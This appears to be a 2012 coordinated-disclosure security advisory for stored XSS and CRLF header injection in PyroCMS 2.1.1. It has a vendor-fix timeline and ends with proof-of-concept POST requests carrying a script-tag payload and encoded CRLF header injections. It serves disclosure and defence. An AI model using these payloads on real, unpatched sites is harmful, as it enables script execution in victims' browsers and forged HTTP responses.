79 lines
No EOL
2.3 KiB
Text
79 lines
No EOL
2.3 KiB
Text
PyroCMS 2.1.1 CRLF Injection And Stored XSS Vulnerability
|
|
|
|
|
|
Vendor: HappyNinjas Ltd
|
|
Product web page: http://www.pyrocms.com
|
|
Affected version: 2.1.1 (Community)
|
|
|
|
Summary: PyroCMS is a CMS built using the CodeIgniter PHP framework.
|
|
Using an MVC architecture it was built with modularity in mind. Lightweight,
|
|
themeable and dynamic.
|
|
|
|
Desc: PyroCMS suffers from a stored XSS and HTTP Response Splitting
|
|
vulnerability when parsing user input to the 'title' and 'redirect_to'
|
|
parameters via POST method thru 'index.php' script. Attackers can exploit
|
|
these weaknesses to execute arbitrary HTML and script code in a user's
|
|
browser session or insert arbitrary HTTP headers, which are included in
|
|
a response sent to the user.
|
|
|
|
Tested on: Microsoft Windows XP Professional SP3 (EN)
|
|
Apache 2.2.21
|
|
PHP 5.3.8
|
|
MySQL 5.5.20
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
liquidworm gmail com
|
|
Zero Science Lab - http://www.zeroscience.mk
|
|
|
|
|
|
[20.05.2012] Vulnerabilities discovered.
|
|
[20.05.2012] Initial contact with the vendor.
|
|
[20.05.2012] Vendor responds asking more details.
|
|
[20.05.2012] Sent detailed information to the vendor.
|
|
[21.05.2012] Vendor confirms the issues.
|
|
[22.05.2012] Asked vendor for status update.
|
|
[27.05.2012] Vendor replies.
|
|
[03.06.2012] Vendor releases version 2.1.2 to address these issues.
|
|
[04.06.2012] Coordinated public security advisory released.
|
|
|
|
|
|
Advisory ID: ZSL-2012-5092
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5092.php
|
|
|
|
Vendor Advisory: http://www.pyrocms.com/store/details/pyrocms_professional
|
|
|
|
|
|
20.05.2012
|
|
|
|
|
|
----
|
|
|
|
|
|
#1
|
|
|
|
- POST http://localhost/pyrocms/index.php/admin/blog/categories/create_ajax HTTP/1.1
|
|
|
|
csrf_hash_name 28b57b25dd24b3adb785de7fd863b6be
|
|
title "><script>alert(1);</script>
|
|
|
|
|
|
#2
|
|
|
|
- POST http://localhost/pyrocms/index.php/users/login HTTP/1.1
|
|
|
|
btnLogin Login
|
|
email lab@zeroscience.mk
|
|
password
|
|
redirect_to %0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection
|
|
remember 1
|
|
|
|
|
|
#2a
|
|
|
|
- POST http://localhost/pyrocms/index.php/comments/create/pages/4 HTTP/1.1
|
|
|
|
comment t00t%20w00t!
|
|
d0ntf1llth1s1n
|
|
redirect_to %0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection
|
|
submit Comment |